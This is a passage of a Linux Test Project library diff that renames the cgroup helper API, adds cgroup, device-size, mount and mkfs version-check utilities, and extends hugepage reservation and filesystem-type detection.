-struct tst_cgroup_group *tst_cgroup_group_rm(struct tst_cgroup_group *const cg)
+const char *tst_cg_group_name(const struct tst_cg_group *const cg)
+{
+	return cg->group_name;
+}
+
+struct tst_cg_group *tst_cg_group_rm(struct tst_cg_group *const cg)
 {
 	struct cgroup_dir **dir;
 
@@ -878,7 +1122,7 @@
 {
 	const struct cgroup_file *cfile;
 	const struct cgroup_ctrl *ctrl;
-	char ctrl_name[32];
+	char ctrl_name[CTRL_NAME_MAX + 1];
 	const char *const sep = strchr(file_name, '.');
 	size_t len;
 
@@ -893,7 +1137,7 @@
 	memcpy(ctrl_name, file_name, len);
 	ctrl_name[len] = '\0';
 
-        ctrl = cgroup_find_ctrl(ctrl_name);
+	ctrl = cgroup_find_ctrl(ctrl_name);
 
 	if (!ctrl) {
 		tst_brk_(file, lineno, TBROK,
@@ -916,8 +1160,8 @@
 	return cfile;
 }
 
-enum tst_cgroup_ver tst_cgroup_ver(const char *const file, const int lineno,
-				    const struct tst_cgroup_group *const cg,
+enum tst_cg_ver tst_cg_ver(const char *const file, const int lineno,
+				    const struct tst_cg_group *const cg,
 				    const char *const ctrl_name)
 {
 	const struct cgroup_ctrl *const ctrl = cgroup_find_ctrl(ctrl_name);
@@ -952,7 +1196,7 @@
 static const char *cgroup_file_alias(const struct cgroup_file *const cfile,
 				     const struct cgroup_dir *const dir)
 {
-	if (dir->dir_root->ver != TST_CGROUP_V1)
+	if (dir->dir_root->ver != TST_CG_V1)
 		return cfile->file_name;
 
 	if (cfile->ctrl_indx == CTRL_CPUSET &&
@@ -964,8 +1208,8 @@
 	return cfile->file_name_v1;
 }
 
-int safe_cgroup_has(const char *const file, const int lineno,
-		    const struct tst_cgroup_group *cg,
+int safe_cg_has(const char *const file, const int lineno,
+		    const struct tst_cg_group *cg,
 		    const char *const file_name)
 {
 	const struct cgroup_file *const cfile =
@@ -977,10 +1221,11 @@
 		return 0;
 
 	for_each_dir(cg, cfile->ctrl_indx, dir) {
-		if (!(alias = cgroup_file_alias(cfile, *dir)))
-		    continue;
+		alias = cgroup_file_alias(cfile, *dir);
+		if (!alias)
+			continue;
 
-		if (!faccessat((*dir)->dir_fd, file_name, F_OK, 0))
+		if (!faccessat((*dir)->dir_fd, alias, F_OK, 0))
 			return 1;
 
 		if (errno == ENOENT)
@@ -994,46 +1239,41 @@
 	return 0;
 }
 
-__attribute__ ((warn_unused_result))
-static struct tst_cgroup_group *cgroup_group_from_roots(const size_t tree_off)
+static void group_from_roots(struct tst_cg_group *const cg)
 {
 	struct cgroup_root *root;
-	struct cgroup_dir *dir;
-	struct tst_cgroup_group *cg;
 
-	cg = tst_alloc(sizeof(*cg));
-	cgroup_group_init(cg, NULL);
+	if (cg->group_name[0]) {
+		tst_brk(TBROK,
+			"%s CGroup already initialized",
+			cg == &test_group ? "Test" : "Drain");
+	}
 
 	for_each_root(root) {
-		dir = (typeof(dir))(((char *)root) + tree_off);
+		struct cgroup_dir *dir =
+			cg == &test_group ? &root->test_dir : &root->drain_dir;
 
 		if (dir->ctrl_field)
-			cgroup_group_add_dir(cg, dir);
+			cgroup_group_add_dir(NULL, cg, dir);
 	}
 
 	if (cg->dirs[0]) {
 		strncpy(cg->group_name, cg->dirs[0]->dir_name, NAME_MAX);
-		return cg;
+		return;
 	}
 
 	tst_brk(TBROK,
-		"No CGroups found; maybe you forgot to call tst_cgroup_require?");
-
-	return cg;
+		"No CGroups found; maybe you forgot to call tst_cg_require?");
 }
 
-const struct tst_cgroup_group *tst_cgroup_get_test_group(void)
+void tst_cg_init(void)
 {
-	return cgroup_group_from_roots(offsetof(struct cgroup_root, test_dir));
+	group_from_roots(&test_group);
+	group_from_roots(&drain_group);
 }
 
-const struct tst_cgroup_group *tst_cgroup_get_drain_group(void)
-{
-	return cgroup_group_from_roots(offsetof(struct cgroup_root, drain_dir));
-}
-
-ssize_t safe_cgroup_read(const char *const file, const int lineno,
-			 const struct tst_cgroup_group *const cg,
+ssize_t safe_cg_read(const char *const file, const int lineno,
+			 const struct tst_cg_group *const cg,
 			 const char *const file_name,
 			 char *const out, const size_t len)
 {
@@ -1043,17 +1283,19 @@
 	const char *alias;
 	size_t prev_len = 0;
 	char prev_buf[BUFSIZ];
+	ssize_t read_ret = 0;
 
 	for_each_dir(cg, cfile->ctrl_indx, dir) {
-		if (!(alias = cgroup_file_alias(cfile, *dir)))
+		alias = cgroup_file_alias(cfile, *dir);
+		if (!alias)
 			continue;
 
 		if (prev_len)
 			memcpy(prev_buf, out, prev_len);
 
-		TEST(safe_file_readat(file, lineno,
-				      (*dir)->dir_fd, alias, out, len));
-		if (TST_RET < 0)
+		read_ret = safe_file_readat(file, lineno,
+					    (*dir)->dir_fd, alias, out, len);
+		if (read_ret < 0)
 			continue;
 
 		if (prev_len && memcmp(out, prev_buf, prev_len)) {
@@ -1063,16 +1305,16 @@
 			break;
 		}
 
-		prev_len = MIN(sizeof(prev_buf), (size_t)TST_RET);
+		prev_len = MIN(sizeof(prev_buf), (size_t)read_ret);
 	}
 
-	out[MAX(TST_RET, 0)] = '\0';
+	out[MAX(read_ret, (ssize_t)0)] = '\0';
 
-	return TST_RET;
+	return read_ret;
 }
 
-void safe_cgroup_printf(const char *const file, const int lineno,
-			const struct tst_cgroup_group *cg,
+void safe_cg_printf(const char *const file, const int lineno,
+			const struct tst_cg_group *cg,
 			const char *const file_name,
 			const char *const fmt, ...)
 {
@@ -1083,8 +1325,9 @@
 	va_list va;
 
 	for_each_dir(cg, cfile->ctrl_indx, dir) {
-		if (!(alias = cgroup_file_alias(cfile, *dir)))
-		    continue;
+		alias = cgroup_file_alias(cfile, *dir);
+		if (!alias)
+			continue;
 
 		va_start(va, fmt);
 		safe_file_vprintfat(file, lineno,
@@ -1093,14 +1336,55 @@
 	}
 }
 
-void safe_cgroup_scanf(const char *const file, const int lineno,
-		       const struct tst_cgroup_group *const cg,
+int safe_cg_open(const char *const file, const int lineno,
+		      const struct tst_cg_group *cg,
+		      const char *const file_name, int flags, int *fds)
+{
+	const struct cgroup_file *const cfile =
+		cgroup_file_find(file, lineno, file_name);
+	struct cgroup_dir *const *dir;
+	const char *alias;
+	int i = 0;
+
+	for_each_dir(cg, cfile->ctrl_indx, dir) {
+		alias = cgroup_file_alias(cfile, *dir);
+		if (!alias)
+			continue;
+
+		fds[i++] = safe_openat(file, lineno, (*dir)->dir_fd, alias, flags);
+	}
+
+	return i;
+}
+
+void safe_cg_fchown(const char *const file, const int lineno,
+			const struct tst_cg_group *cg,
+			const char *const file_name,
+			uid_t owner, gid_t group)
+{
+	const struct cgroup_file *const cfile =
+		cgroup_file_find(file, lineno, file_name);
+	struct cgroup_dir *const *dir;
+	const char *alias;
+
+	for_each_dir(cg, cfile->ctrl_indx, dir) {
+		alias = cgroup_file_alias(cfile, *dir);
+		if (!alias)
+			continue;
+
+		safe_fchownat(file, lineno, (*dir)->dir_fd, alias, owner, group, 0);
+	}
+}
+
+
+void safe_cg_scanf(const char *const file, const int lineno,
+		       const struct tst_cg_group *const cg,
 		       const char *const file_name,
 		       const char *const fmt, ...)
 {
 	va_list va;
 	char buf[BUFSIZ];
-	ssize_t len = safe_cgroup_read(file, lineno,
+	ssize_t len = safe_cg_read(file, lineno,
 				       cg, file_name, buf, sizeof(buf));
 	const int conv_cnt = tst_count_scanf_conversions(fmt);
 	int ret;
@@ -1109,7 +1393,8 @@
 		return;
 
 	va_start(va, fmt);
-	if ((ret = vsscanf(buf, fmt, va)) < 1) {
+	ret = vsscanf(buf, fmt, va);
+	if (ret < 1) {
 		tst_brk_(file, lineno, TBROK | TERRNO,
 			 "'%s': vsscanf('%s', '%s', ...)", file_name, buf, fmt);
 	}
@@ -1122,3 +1407,48 @@
 		 "'%s': vsscanf('%s', '%s', ..): Less conversions than expected: %d != %d",
 		 file_name, buf, fmt, ret, conv_cnt);
 }
+
+void safe_cg_lines_scanf(const char *const file, const int lineno,
+			     const struct tst_cg_group *const cg,
+			     const char *const file_name,
+			     const char *const fmt, ...)
+{
+	va_list va;
+	char buf[BUFSIZ];
+	ssize_t len = safe_cg_read(file, lineno,
+				       cg, file_name, buf, sizeof(buf));
+	const int conv_cnt = tst_count_scanf_conversions(fmt);
+	int ret = 0;
+	char *line, *buf_ptr;
+
+	if (len < 1)
+		return;
+
+	line = strtok_r(buf, "\n", &buf_ptr);
+	while (line && ret != conv_cnt) {
+		va_start(va, fmt);
+		ret = vsscanf(line, fmt, va);
+		va_end(va);
+
+		line = strtok_r(NULL, "\n", &buf_ptr);
+	}
+
+	if (conv_cnt == ret)
+		return;
+
+	tst_brk_(file, lineno, TBROK,
+		 "'%s': vsscanf('%s', '%s', ..): Less conversions than expected: %d != %d",
+		 file_name, buf, fmt, ret, conv_cnt);
+}
+
+int safe_cg_occursin(const char *const file, const int lineno,
+			 const struct tst_cg_group *const cg,
+			 const char *const file_name,
+			 const char *const needle)
+{
+	char buf[BUFSIZ];
+
+	safe_cg_read(file, lineno, cg, file_name, buf, sizeof(buf));
+
+	return !!strstr(buf, needle);
+}
diff --git a/lib/tst_checkpoint.c b/lib/tst_checkpoint.c
index b41986f..6a294b2 100644
--- a/lib/tst_checkpoint.c
+++ b/lib/tst_checkpoint.c
@@ -25,7 +25,6 @@
 #include <limits.h>
 #include <errno.h>
 #include <sys/syscall.h>
-#include <linux/futex.h>
 
 #include "test.h"
 #include "safe_macros.h"
diff --git a/lib/tst_clocks.c b/lib/tst_clocks.c
index cdcb9fc..0417802 100644
--- a/lib/tst_clocks.c
+++ b/lib/tst_clocks.c
@@ -142,3 +142,16 @@
 		return "INVALID/UNKNOWN CLOCK";
 	}
 }
+
+time_t tst_get_fs_timestamp(void)
+{
+	struct timespec ts;
+	int ret;
+
+	ret = tst_clock_gettime(CLOCK_REALTIME_COARSE, &ts);
+
+	if (ret < 0)
+		tst_brk(TBROK | TERRNO, "clock_gettime(CLOCK_REALTIME_COARSE)");
+
+	return ts.tv_sec;
+}
diff --git a/lib/tst_cmd.c b/lib/tst_cmd.c
index 7446249..b3f8a95 100644
--- a/lib/tst_cmd.c
+++ b/lib/tst_cmd.c
@@ -19,6 +19,7 @@
  * Author: Alexey Kodanev <alexey.kodanev@oracle.com>
  */
 
+#include <stdio.h>
 #include <errno.h>
 #include <sys/types.h>
 #include <sys/stat.h>
@@ -28,10 +29,21 @@
 #include <signal.h>
 #include "test.h"
 #include "tst_cmd.h"
+#include "tst_private.h"
 
 #define OPEN_MODE	(S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH)
 #define OPEN_FLAGS	(O_WRONLY | O_APPEND | O_CREAT)
 
+enum cmd_op {
+	OP_GE, /* >= */
+	OP_GT, /* >  */
+	OP_LE, /* <= */
+	OP_LT, /* <  */
+	OP_EQ, /* == */
+	OP_NE, /* != */
+};
+
+
 int tst_cmd_fds_(void (cleanup_fn)(void),
 		const char *const argv[],
 		int stdout_fd,
@@ -176,3 +188,160 @@
 	signal(SIGCHLD, old_handler);
 	return ret;
 }
+
+static int mkfs_ext4_version_parser(void)
+{
+	FILE *f;
+	int rc, major, minor, patch;
+
+	f = popen("mkfs.ext4 -V 2>&1", "r");
+	if (!f) {
+		tst_resm(TWARN, "Could not run mkfs.ext4 -V 2>&1 cmd");
+		return -1;
+	}
+
+	rc = fscanf(f, "mke2fs %d.%d.%d", &major, &minor, &patch);
+	pclose(f);
+	if (rc != 3) {
+		tst_resm(TWARN, "Unable to parse mkfs.ext4 version");
+		return -1;
+	}
+
+	return major * 10000 +  minor * 100 + patch;
+}
+
+static int mkfs_ext4_version_table_get(char *version)
+{
+	int major, minor, patch;
+	int len;
+
+	if (sscanf(version, "%u.%u.%u %n", &major, &minor, &patch, &len) != 3) {
+		tst_resm(TWARN, "Illegal version(%s), should use format like 1.43.0", version);
+		return -1;
+	}
+
+	if (len != (int)strlen(version)) {
+		tst_resm(TWARN, "Grabage after version");
+		return -1;
+	}
+
+	return major * 10000 + minor * 100 + patch;
+}
+
+static struct version_parser {
+	const char *cmd;
+	int (*parser)(void);
+	int (*table_get)(char *version);
+} version_parsers[] = {
+	{"mkfs.ext4", mkfs_ext4_version_parser, mkfs_ext4_version_table_get},
+	{},
+};
+
+void tst_check_cmd(const char *cmd)
+{
+	struct version_parser *p;
+	char *cmd_token, *op_token, *version_token, *next, *str;
+	char path[PATH_MAX];
+	char parser_cmd[100];
+	int ver_parser, ver_get;
+	int op_flag = 0;
+
+	strcpy(parser_cmd, cmd);
+
+	cmd_token = strtok_r(parser_cmd, " ", &next);
+	op_token = strtok_r(NULL, " ", &next);
+	version_token = strtok_r(NULL, " ", &next);
+	str = strtok_r(NULL, " ", &next);
+
+	if (tst_get_path(cmd_token, path, sizeof(path)))
+		tst_brkm(TCONF, NULL, "Couldn't find '%s' in $PATH", cmd_token);
+
+	if (!op_token)
+		return;
+
+	if (!strcmp(op_token, ">="))
+		op_flag = OP_GE;
+	else if (!strcmp(op_token, ">"))
+		op_flag = OP_GT;
+	else if (!strcmp(op_token, "<="))
+		op_flag = OP_LE;
+	else if (!strcmp(op_token, "<"))
+		op_flag = OP_LT;
+	else if (!strcmp(op_token, "=="))
+		op_flag = OP_EQ;
+	else if (!strcmp(op_token, "!="))
+		op_flag = OP_NE;
+	else
+		tst_brkm(TCONF, NULL, "Invalid op(%s)", op_token);
+
+	if (!version_token || str) {
+		tst_brkm(TCONF, NULL,
+			"Illegal format(%s), should use format like mkfs.ext4 >= 1.43.0",
+			cmd);
+	}
+
+	for (p = &version_parsers[0]; p->cmd; p++) {
+		if (!strcmp(p->cmd, cmd_token)) {
+			tst_resm(TINFO, "Parsing %s version", p->cmd);
+			break;
+		}
+	}
+
+	if (!p->cmd) {
+		tst_brkm(TBROK, NULL, "No version parser for %s implemented!",
+			cmd_token);
+	}
+
+	ver_parser = p->parser();
+	if (ver_parser < 0)
+		tst_brkm(TBROK, NULL, "Failed to parse %s version", p->cmd);
+
+	ver_get = p->table_get(version_token);
+	if (ver_get < 0)
+		tst_brkm(TBROK, NULL, "Failed to get %s version", p->cmd);
+
+	switch (op_flag) {
+	case OP_GE:
+		if (ver_parser < ver_get) {
+			tst_brkm(TCONF, NULL, "%s required >= %d, but got %d, "
+				"the version is required in order run the test.",
+				cmd, ver_get, ver_parser);
+		}
+		break;
+	case OP_GT:
+		if (ver_parser <= ver_get) {
+			tst_brkm(TCONF, NULL, "%s required > %d, but got %d, "
+				"the version is required in order run the test.",
+				cmd, ver_get, ver_parser);
+		}
+		break;
+	case OP_LE:
+		if (ver_parser > ver_get) {
+			tst_brkm(TCONF, NULL, "%s required <= %d, but got %d, "
+				"the version is required in order run the test.",
+				cmd, ver_get, ver_parser);
+		}
+		break;
+	case OP_LT:
+		if (ver_parser >= ver_get) {
+			tst_brkm(TCONF, NULL, "%s required < %d, but got %d, "
+				"the version is required in order run the test.",
+				cmd, ver_get, ver_parser);
+		}
+		break;
+	case OP_EQ:
+		if (ver_parser != ver_get) {
+			tst_brkm(TCONF, NULL, "%s required == %d, but got %d, "
+				"the version is required in order run the test.",
+				cmd, ver_get, ver_parser);
+		}
+		break;
+	case OP_NE:
+		if (ver_parser == ver_get) {
+			tst_brkm(TCONF, NULL, "%s required != %d, but got %d, "
+				"the version is required in order run the test.",
+				cmd, ver_get, ver_parser);
+		}
+		break;
+	}
+}
diff --git a/lib/tst_crypto.c b/lib/tst_crypto.c
index 685e087..c01632c 100644
--- a/lib/tst_crypto.c
+++ b/lib/tst_crypto.c
@@ -14,16 +14,17 @@
 
 void tst_crypto_open(struct tst_crypto_session *ses)
 {
-	TEST(socket(AF_NETLINK, SOCK_DGRAM, NETLINK_CRYPTO));
-	if (TST_RET < 0 && TST_ERR == EPROTONOSUPPORT)
-		tst_brk(TCONF | TTERRNO, "NETLINK_CRYPTO is probably disabled");
+	const long ret = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_CRYPTO);
 
-	if (TST_RET < 0) {
-		tst_brk(TBROK | TTERRNO,
+	if (ret < 0 && errno == EPROTONOSUPPORT)
+		tst_brk(TCONF | TERRNO, "NETLINK_CRYPTO is probably disabled");
+
+	if (ret < 0) {
+		tst_brk(TBROK | TERRNO,
 			"socket(AF_NETLINK, SOCK_DGRAM, NETLINK_CRYPTO)");
 	}
 
-	ses->fd = TST_RET;
+	ses->fd = ret;
 	ses->seq_num = 0;
 }
 
@@ -83,6 +84,7 @@
 int tst_crypto_del_alg(struct tst_crypto_session *ses,
 		       const struct crypto_user_alg *alg)
 {
+	long ret;
 	unsigned int i = 0;
 	struct nlmsghdr nh = {
 		.nlmsg_len = sizeof(struct nlmsghdr) + sizeof(*alg),
@@ -96,8 +98,8 @@
 
 		SAFE_NETLINK_SEND(ses->fd, &nh, alg);
 
-		TEST(tst_crypto_recv_ack(ses));
-		if (TST_RET != -EBUSY || i >= ses->retries)
+		ret = tst_crypto_recv_ack(ses);
+		if (ret != -EBUSY || i >= ses->retries)
 			break;
 
 		if (usleep(1) && errno != EINTR)
@@ -106,5 +108,5 @@
 		++i;
 	}
 
-	return TST_RET;
+	return ret;
 }
diff --git a/lib/tst_device.c b/lib/tst_device.c
index 87373ca..d2f7aaa 100644
--- a/lib/tst_device.c
+++ b/lib/tst_device.c
@@ -25,6 +25,7 @@
 #include <sys/stat.h>
 #include <sys/ioctl.h>
 #include <sys/mount.h>
+#include <mntent.h>
 #include <errno.h>
 #include <unistd.h>
 #include <stdlib.h>
@@ -43,7 +44,7 @@
 #define LOOP_CONTROL_FILE "/dev/loop-control"
 
 #define DEV_FILE "test_dev.img"
-#define DEV_SIZE_MB 256u
+#define DEV_SIZE_MB 300u
 
 static char dev_path[1024];
 static int device_acquired;
@@ -72,7 +73,7 @@
 
 int tst_find_free_loopdev(char *path, size_t path_len)
 {
-	int ctl_fd, dev_fd, rc, i;
+	int ctl_fd, dev_fd, rc, i, path_set;
 	struct loop_info loopinfo;
 	char buf[1024];
 
@@ -83,8 +84,18 @@
 		rc = ioctl(ctl_fd, LOOP_CTL_GET_FREE);
 		close(ctl_fd);
 		if (rc >= 0) {
-			if (path)
-				set_dev_path(rc, path, path_len);
+			if (path) {
+				// b/148978487 retry to allow time for device creation
+				for (i = 0; i < 50; i++) {
+					path_set = set_dev_path(rc, path, path_len);
+					// set_dev_path returns 1 on success
+					if (path_set > 0)
+						break;
+					usleep(50000);
+				}
+				if (path_set == 0)
+					tst_brkm(TBROK, NULL, "Could not stat device %d", rc);
+			}
 			tst_resm(TINFO, "Found free device %d '%s'",
 				rc, path ?: "");
 			return rc;
@@ -146,7 +157,7 @@
 	int dev_fd, file_fd;
 	struct loop_info loopinfo;
 
-	/* b/148978487 */
+	// b/148978487 retry to allow time for device creation
 	int attach_tries = 20;
 	while (attach_tries--) {
 		dev_fd = open(dev, O_RDWR);
@@ -194,6 +205,48 @@
 	return 0;
 }
 
+uint64_t tst_get_device_size(const char *dev_path)
+{
+	int fd;
+	uint64_t size;
+	struct stat st;
+
+	if (!dev_path)
+		tst_brkm(TBROK, NULL, "No block device path");
+
+	if (stat(dev_path, &st)) {
+		tst_resm(TWARN | TERRNO, "stat() failed");
+		return -1;
+	}
+
+	if (!S_ISBLK(st.st_mode)) {
+		tst_resm(TWARN, "%s is not a block device", dev_path);
+		return -1;
+	}
+
+	fd = open(dev_path, O_RDONLY);
+	if (fd < 0) {
+		tst_resm(TWARN | TERRNO,
+				"open(%s, O_RDONLY) failed", dev_path);
+		return -1;
+	}
+
+	if (ioctl(fd, BLKGETSIZE64, &size)) {
+		tst_resm(TWARN | TERRNO,
+				"ioctl(fd, BLKGETSIZE64, ...) failed");
+		close(fd);
+		return -1;
+	}
+
+	if (close(fd)) {
+		tst_resm(TWARN | TERRNO,
+				"close(fd) failed");
+		return -1;
+	}
+
+	return size/1024/1024;
+}
+
 int tst_detach_device_by_fd(const char *dev, int dev_fd)
 {
 	int ret, i;
@@ -243,7 +296,7 @@
 
 const char *tst_acquire_loop_device(unsigned int size, const char *filename)
 {
-	unsigned int acq_dev_size = MAX(size, DEV_SIZE_MB);
+	unsigned int acq_dev_size = size ? size : DEV_SIZE_MB;
 
 	if (tst_prealloc_file(filename, 1024 * 1024, acq_dev_size)) {
 		tst_resm(TWARN | TERRNO, "Failed to create %s", filename);
@@ -261,50 +314,18 @@
 
 const char *tst_acquire_device__(unsigned int size)
 {
-	int fd;
 	const char *dev;
-	struct stat st;
 	unsigned int acq_dev_size;
 	uint64_t ltp_dev_size;
 
-	acq_dev_size = MAX(size, DEV_SIZE_MB);
+	acq_dev_size = size ? size : DEV_SIZE_MB;
 
 	dev = getenv("LTP_DEV");
 
 	if (dev) {
 		tst_resm(TINFO, "Using test device LTP_DEV='%s'", dev);
 
-		if (stat(dev, &st)) {
-			tst_resm(TWARN | TERRNO, "stat() failed");
-			return NULL;
-		}
-
-		if (!S_ISBLK(st.st_mode)) {
-			tst_resm(TWARN, "%s is not a block device", dev);
-			return NULL;
-		}
-
-		fd = open(dev, O_RDONLY);
-		if (fd < 0) {
-			tst_resm(TWARN | TERRNO,
-				 "open(%s, O_RDONLY) failed", dev);
-			return NULL;
-		}
-
-		if (ioctl(fd, BLKGETSIZE64, &ltp_dev_size)) {
-			tst_resm(TWARN | TERRNO,
-				 "ioctl(fd, BLKGETSIZE64, ...) failed");
-			close(fd);
-			return NULL;
-		}
-
-		if (close(fd)) {
-			tst_resm(TWARN | TERRNO,
-				 "close(fd) failed");
-			return NULL;
-		}
-
-		ltp_dev_size = ltp_dev_size/1024/1024;
+		ltp_dev_size = tst_get_device_size(dev);
 
 		if (acq_dev_size <= ltp_dev_size)
 			return dev;
@@ -502,6 +523,16 @@
 	return dev_bytes_written;
 }
 
+static int count_match_len(const char *first, const char *second)
+{
+	int len = 0;
+
+	while (*first && *first++ == *second++)
+		len++;
+
+	return len;
+}
+
 void tst_find_backing_dev(const char *path, char *dev)
 {
 	struct stat buf;
@@ -510,6 +541,8 @@
 	char *pre = NULL;
 	char *next = NULL;
 	unsigned int dev_major, dev_minor, line_mjr, line_mnr;
+	unsigned int len, best_match_len = 1;
+	char mnt_point[PATH_MAX];
 
 	if (stat(path, &buf) < 0)
 		tst_brkm(TWARN | TERRNO, NULL, "stat() failed");
@@ -520,17 +553,25 @@
 	*dev = '\0';
 
 	while (fgets(line, sizeof(line), file)) {
-		if (sscanf(line, "%*d %*d %d:%d", &line_mjr, &line_mnr) != 2)
+		if (sscanf(line, "%*d %*d %d:%d %*s %s",
+			&line_mjr, &line_mnr, mnt_point) != 3)
 			continue;
 
+		pre = strstr(line, " - ");
+		pre = strtok_r(pre, " ", &next);
+		pre = strtok_r(NULL, " ", &next);
+		pre = strtok_r(NULL, " ", &next);
+
 		if (line_mjr == dev_major && line_mnr == dev_minor) {
-			pre = strstr(line, " - ");
-			pre = strtok_r(pre, " ", &next);
-			pre = strtok_r(NULL, " ", &next);
-			pre = strtok_r(NULL, " ", &next);
 			strcpy(dev, pre);
 			break;
 		}
+
+		len = count_match_len(path, mnt_point);
+		if (len > best_match_len) {
+			strcpy(dev, pre);
+			best_match_len = len;
+		}
 	}
 
 	SAFE_FCLOSE(NULL, file);
@@ -544,3 +585,52 @@
 	if (S_ISBLK(buf.st_mode) != 1)
 		tst_brkm(TCONF, NULL, "dev(%s) isn't a block dev", dev);
 }
+
+void tst_stat_mount_dev(const char *const mnt_path, struct stat *const st)
+{
+	struct mntent *mnt;
+	FILE *mntf = setmntent("/proc/self/mounts", "r");
+
+	if (!mntf) {
+		tst_brkm(TBROK | TERRNO, NULL, "Can't open /proc/self/mounts");
+		return;
+	}
+
+	mnt = getmntent(mntf);
+	if (!mnt) {
+		tst_brkm(TBROK | TERRNO, NULL, "Can't read mounts or no mounts?");
+		return;
+	}
+
+	do {
+		if (strcmp(mnt->mnt_dir, mnt_path)) {
+			mnt = getmntent(mntf);
+			continue;
+		}
+
+		if (stat(mnt->mnt_fsname, st)) {
+			tst_brkm(TBROK | TERRNO, NULL,
+				 "Can't stat '%s', mounted at '%s'",
+				 mnt->mnt_fsname, mnt_path);
+		}
+
+		return;
+	} while (mnt);
+
+	tst_brkm(TBROK, NULL, "Could not find mount device");
+}
+
+int tst_dev_block_size(const char *path)
+{
+	int fd;
+	int size;
+	char dev_name[1024];
+
+	tst_find_backing_dev(path, dev_name);
+
+	fd = SAFE_OPEN(NULL, dev_name, O_RDONLY);
+	SAFE_IOCTL(NULL, fd, BLKSSZGET, &size);
+	SAFE_CLOSE(NULL, fd);
+
+	return size;
+}
diff --git a/lib/tst_fs_link_count.c b/lib/tst_fs_link_count.c
index 860510d..6a6bb52 100644
--- a/lib/tst_fs_link_count.c
+++ b/lib/tst_fs_link_count.c
@@ -119,7 +119,7 @@
 		return 0;
 	}
 
-	/* for current kernel, subdir limit is not availiable for all fs */
+	/* for current kernel, subdir limit is not available for all fs */
 	fs_type = tst_fs_type(cleanup, dir);
 
 	whitelist_size = ARRAY_SIZE(subdir_limit_whitelist);
@@ -147,9 +147,8 @@
 			 * created directory (the '.' and link from parent dir)
 			 */
 			if (s.st_nlink != (i + 2)) {
-				tst_brkm(TBROK, cleanup, "%s link counts have"
-					 "%d, should be %d", dir,
-					 (int)s.st_nlink, i + 2);
+				tst_brkm(TBROK, cleanup, "%s link counts have %d, should be %d",
+					 dir, (int)s.st_nlink, i + 2);
 				return 0;
 			} else {
 				tst_resm(TINFO, "the maximum subdirectories in "
diff --git a/lib/tst_fs_type.c b/lib/tst_fs_type.c
index 8475f4c..d9c9c08 100644
--- a/lib/tst_fs_type.c
+++ b/lib/tst_fs_type.c
@@ -1,29 +1,11 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
- * Copyright (c) 2005-2014 Linux Test Project
+ * Copyright (c) 2005-2021 Linux Test Project
  *
  * Cyril Hrubis <chrubis@suse.cz> 2014
  * Michal Simek <monstr@monstr.eu> 2009
  * Kumar Gala <galak@kernel.crashing.org> 2007
  * Ricky Ng-Adam <rngadam@yahoo.com> 2005
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  */
 
 #include <sys/vfs.h>
@@ -86,6 +68,10 @@
 		return "overlayfs";
 	case TST_FUSE_MAGIC:
 		return "fuse";
+	case TST_VFAT_MAGIC:
+		return "vfat";
+	case TST_EXFAT_MAGIC:
+		return "exfat";
 	default:
 		return "unknown";
 	}
diff --git a/lib/tst_hugepage.c b/lib/tst_hugepage.c
index 1d0e62e..e97cc56 100644
--- a/lib/tst_hugepage.c
+++ b/lib/tst_hugepage.c
@@ -20,11 +20,13 @@
 	return SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 }
 
-unsigned long tst_request_hugepages(unsigned long hpages)
+unsigned long tst_reserve_hugepages(struct tst_hugepage *hp)
 {
 	unsigned long val, max_hpages;
 
 	if (access(PATH_HUGEPAGES, F_OK)) {
+		if (hp->policy == TST_NEEDS)
+			tst_brk(TCONF, "hugetlbfs is not supported");
 		tst_hugepages = 0;
 		goto out;
 	}
@@ -32,11 +34,20 @@
 	if (nr_opt)
 		tst_hugepages = SAFE_STRTOL(nr_opt, 1, LONG_MAX);
 	else
-		tst_hugepages = hpages;
+		tst_hugepages = hp->number;
+
+	if (hp->number == TST_NO_HUGEPAGES) {
+		tst_hugepages = 0;
+		goto set_hugepages;
+	}
 
 	SAFE_FILE_PRINTF("/proc/sys/vm/drop_caches", "3");
-	max_hpages = SAFE_READ_MEMINFO("MemFree:") / SAFE_READ_MEMINFO("Hugepagesize:");
+	if (hp->policy == TST_NEEDS) {
+		tst_hugepages += SAFE_READ_MEMINFO("HugePages_Total:");
+		goto set_hugepages;
+	}
 
+	max_hpages = SAFE_READ_MEMINFO("MemFree:") / SAFE_READ_MEMINFO("Hugepagesize:");
 	if (tst_hugepages > max_hpages) {
 		tst_res(TINFO, "Requested number(%lu) of hugepages is too large, "
 				"limiting to 80%% of the max hugepage count %lu",
@@ -47,6 +58,7 @@
 			goto out;
 	}
 
+set_hugepages:
 	tst_sys_conf_save("?/proc/sys/vm/nr_hugepages");
 	SAFE_FILE_PRINTF(PATH_NR_HPAGES, "%lu", tst_hugepages);
 	SAFE_FILE_SCANF(PATH_NR_HPAGES, "%lu", &val);
@@ -55,6 +67,14 @@
 				"Not enough hugepages for testing.",
 				val, tst_hugepages);
 
+	if (hp->policy == TST_NEEDS) {
+		unsigned long free_hpages = SAFE_READ_MEMINFO("HugePages_Free:");
+		if (hp->number > free_hpages)
+			tst_brk(TCONF, "free_hpages = %lu, but expect %lu. "
+				"Not enough hugepages for testing.",
+				free_hpages, hp->number);
+	}
+
 	tst_res(TINFO, "%lu hugepage(s) reserved", tst_hugepages);
 out:
 	return tst_hugepages;
diff --git a/lib/tst_kconfig.c b/lib/tst_kconfig.c
index c2b8582..ac13866 100644
--- a/lib/tst_kconfig.c
+++ b/lib/tst_kconfig.c
@@ -15,6 +15,18 @@
 #include "tst_kconfig.h"
 #include "tst_bool_expr.h"
 
+static int kconfig_skip_check(void)
+{
+	char *skipped = getenv("KCONFIG_SKIP_CHECK");
+
+	if (skipped) {
+		tst_res(TINFO, "Skipping kernel config check as requested");
+		return 1;
+	}
+
